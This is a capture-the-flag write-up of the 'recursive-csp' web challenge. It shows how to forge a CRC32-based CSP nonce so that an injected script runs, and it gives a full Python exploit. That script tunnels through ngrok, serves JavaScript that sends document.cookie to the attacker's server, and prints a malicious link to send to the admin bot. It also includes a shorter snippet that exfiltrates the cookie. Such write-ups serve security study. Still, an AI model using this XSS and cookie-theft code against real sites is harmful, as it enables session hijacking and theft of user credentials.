Categories: web 2023-02-07
the nonce isn't random, so how hard could this be? (the flag is in the admin bot's cookie)
recursive-csp.mc.ax
Admin Bot
Challenge author: strellic
We are presented with a basic website, that prompts us for our name.
When we inspect the script, we can actually see a link to /?source
, which gives us the entire source of the website:
<?php | |
if (isset($_GET["source"])) highlight_file(__FILE__) && die(); | |
$name = "world"; | |
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { | |
$name = $_GET["name"]; | |
} | |
$nonce = hash("crc32b", $name); | |
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); | |
?> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>recursive-csp</title> | |
</head> | |
<body> | |
<h1>Hello, <?php echo $name ?>!</h1> | |
<h3>Enter your name:</h3> | |
<form method="GET"> | |
<input type="text" placeholder="name" name="name" /> | |
<input type="submit" /> | |
</form> | |
<!-- /?source --> | |
</body> | |
</html> |
Since we have an admin bot, that has a cookie set for this website, and some query parameter, that is displayed on the webpage as-is, we can assume that we want to do a XSS attack, to exfiltrate the document cookie. But the trick is, the CSP forbids us from using any img:src/onerror/fetch tricks, and instead only allows us to use script with correct nonce set.
If we try to submit <script nonce=00000000>console.log(1)</script>
, we get an error in our console:
So we want to create a script that includes its own nonce in it. Also notice, that we are limited to 128 characters.
Because of the way crc32 works, we can create any crc, we just have to have 32 bits of freedom in our payload. For more info check out CRC wiki, but essentially:
CRC = CRC CRC
Let's say, we want to have a payload where all the characters are printable. Therefore, we can have some characters, of bit form 0x1xxxxx
, where x
can be either 1 or 0. That way, no matter the x
's we always land on the printable character in ascii table. Because we need control of 32 bits, and one character provides 6 degrees of freedom, we thus need 6 such characters.
The idea for the part of the payload could then be:
<script nonce="00000000" src="https://our_malicious_website_but_not_too_long.com/script.js"></script>bbbbbb
The evil script would then add another script tag to the document with javascript, which would include cookies in it's request. Something along the lines of:
document.write(
'<script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com?cookie=' +
encodeURI(document.cookie) +
'"></script>'
);
We have to be careful, to match the nonce of the imported script with the first script's nonce.
Then we can programatically flip bits of the last 6 characters, to match nonce with it's crc.
We could write our own script to do that, but I found this great repository, writtten in C: https://github.com/madler/spoof, which allows us to do precisely that.
We have to generate a config file, that we will feed to spoof
binary, which then produces a list of bit flips. Then we can utilize flip
binary to execute the bit flips on a given file.
The config file looks like this:
<crc degree> <crc polynom> <is polynom reflected>
<xor of current and desired crc> <message length in bytes>
<byte pos 1> <flip bit pos1>
<byte pos 2> <flip bit pos2>
...
In our example, we can give the script 's own crc as the xor, so at the end we get final crc zeroed out. Message length also varies along with the bit positions of last 6 characters.
Note: the spoof
script expects bit positions in MSB manner: so bit positions 0,1,2,3,4&6.
32 04c11db7 1
<our crc> <message len>
<b1> 0
<b1> 1
...
<b6> 4
<b6> 6
32
, because this is crc3204c11db7
& 1
because this is the standard for this crcWith all this information, we can begin to construct our solution script. I'll be utilizing ngrok, because it provides https url, that we need to bypass csp.
import subprocess | |
from urllib.parse import quote | |
import os | |
from binascii import crc32 | |
from itertools import product | |
import random | |
from pyngrok import ngrok | |
import tempfile | |
SPOOFDIR = "/opt/spoof_crc" | |
WORKDIR = tempfile.mkdtemp() | |
ATTACK_WEBSITE = "https://recursive-csp.mc.ax" | |
PORT = random.randint(1000, 9999) | |
print("Using workdir:", WORKDIR) | |
# Create ngrok tunnel | |
ngrok_tunnel = ngrok.connect( | |
PORT, 'http', bind_tls=True) # Don't forget bind_tls! | |
ngrok_public_url = ngrok_tunnel.public_url | |
print("Ngrok public url:", ngrok_public_url) | |
# Create payload | |
PAD_CHAR = "b" | |
payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6 | |
with open(f"{WORKDIR}/payload", "w") as wf: | |
wf.write(payload) | |
# Do the spoofing | |
def generate_spoof_conf(msg_in: bytes): | |
msg_len = len(msg_in) | |
b_start = msg_len - 6 | |
bit_pos = [f'{bytepos} {bitpos}' | |
for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))] | |
x_crc = f"{crc32(msg_in):08x}" | |
print("Initial CRC:", x_crc) | |
with open(f"{WORKDIR}/conf", "w") as wf: | |
wf.write("32 04c11db7 1\n") | |
wf.write(f"{x_crc} {msg_len}\n") | |
wf.write('\n'.join(bit_pos)) | |
generate_spoof_conf(payload.encode('ascii')) | |
os.system( | |
f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload" | |
) | |
with open(f"{WORKDIR}/payload") as rf: | |
payload = rf.read() | |
# Now crc32(payload) = 00000000 | |
# Generating malicious javascript | |
def generate_javascript(ngrok_url: str): | |
script = f""" | |
CALLBACK_URL = "{ngrok_url}"; | |
document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>'); | |
""".strip() | |
with open(f"{WORKDIR}/s.js", "w") as wf: | |
wf.write(script) | |
generate_javascript(ngrok_public_url) | |
# We are ready to serve our evilness | |
srv = subprocess.Popen(["python3", "-m", "http.server", | |
str(PORT)], cwd=WORKDIR) | |
# urlencode the payload | |
payload = quote(payload) | |
print("\n\nSend this to admin:\n") | |
print(f"{ATTACK_WEBSITE}/?name={payload}\n\n") | |
try: | |
input("Press enter to exit\n") | |
except KeyboardInterrupt: | |
pass | |
srv.send_signal(subprocess.signal.SIGINT) | |
srv.wait() | |
ngrok.kill() | |
# Remove WORKDIR | |
try: | |
os.system(f"rm -rf {WORKDIR}") | |
except: | |
print("Failed to remove workdir") |
When we run the script, we just wait for admin to hand over his cookie, and the flag will appear in the terminal. When finished just press any key to stop the server